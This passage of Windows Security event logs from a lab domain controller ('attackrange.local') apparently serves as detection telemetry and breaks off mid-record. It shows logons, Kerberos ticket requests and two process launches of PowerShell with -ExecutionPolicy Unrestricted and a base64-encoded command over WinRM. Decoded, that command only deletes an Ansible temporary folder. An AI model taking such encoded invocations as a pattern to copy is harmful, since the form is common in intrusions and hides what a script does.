-ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251433 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1357CA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251432 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1356D4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251431 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1356D4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64525 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251430 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1356D4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251429 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1350AE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251428 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1350AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251427 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251426 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251425 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251424 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABnAEEATABnAEEAMABBAEQAVQBBAE8AUQBBAHkAQQBEAFEAQQBMAFEAQQAxAEEARABrAEEATwBBAEEAegBBAEQAYwBBAE4AQQBBADMAQQBEAFkAQQBPAFEAQQB6AEEARABZAEEATwBBAEEANQBBAEQAWQBBAEkAZwBBAGcAQQBDADAAQQBSAGcAQgB2AEEASABJAEEAWQB3AEIAbABBAEMAQQBBAEwAUQBCAFMAQQBHAFUAQQBZAHcAQgAxAEEASABJAEEAYwB3AEIAbABBAEQAcwBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBEADgAQQBLAFEAQQBnAEEASABzAEEASQBBAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBFAGMAQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBBAHQAQQBFAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAQgBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBNAEEAYQBRAEIAcwBBAEcAVQBBAGIAZwBCADAAQQBHAHcAQQBlAFEAQgBEAEEARwA4AEEAYgBnAEIAMABBAEcAawBBAGIAZwBCADEAQQBHAFUAQQBLAFEAQQBnAEEASABzAEEASQBBAEIAbABBAEgAZwBBAGEAUQBCADAAQQBDAEEAQQBKAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEgAMABBAEkAQQBCAEYAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQB4AEEAQwBBAEEAZgBRAEEAZwBBAEgAMABBAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251423 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABnAEEATABnAEEAMABBAEQAVQBBAE8AUQBBAHkAQQBEAFEAQQBMAFEAQQAxAEEARABrAEEATwBBAEEAegBBAEQAYwBBAE4AQQBBADMAQQBEAFkAQQBPAFEAQQB6AEEARABZAEEATwBBAEEANQBBAEQAWQBBAEkAZwBBAGcAQQBDADAAQQBSAGcAQgB2AEEASABJAEEAWQB3AEIAbABBAEMAQQBBAEwAUQBCAFMAQQBHAFUAQQBZAHcAQgAxAEEASABJAEEAYwB3AEIAbABBAEQAcwBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBEADgAQQBLAFEAQQBnAEEASABzAEEASQBBAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBFAGMAQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBBAHQAQQBFAFUAQQBjAGcAQgB5AEEARwA4AEEAYwBnAEIAQgBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBNAEEAYQBRAEIAcwBBAEcAVQBBAGIAZwBCADAAQQBHAHcAQQBlAFEAQgBEAEEARwA4AEEAYgBnAEIAMABBAEcAawBBAGIAZwBCADEAQQBHAFUAQQBLAFEAQQBnAEEASABzAEEASQBBAEIAbABBAEgAZwBBAGEAUQBCADAAQQBDAEEAQQBKAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEgAMABBAEkAQQBCAEYAQQBHAHcAQQBjAHcAQgBsAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQB4AEEAQwBBAEEAZgBRAEEAZwBBAEgAMABBAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251422 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134EA1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251421 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134EA1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251420 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251419 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251418 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251417 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134E85 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251416 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134E85 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251415 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134E85 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251414 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 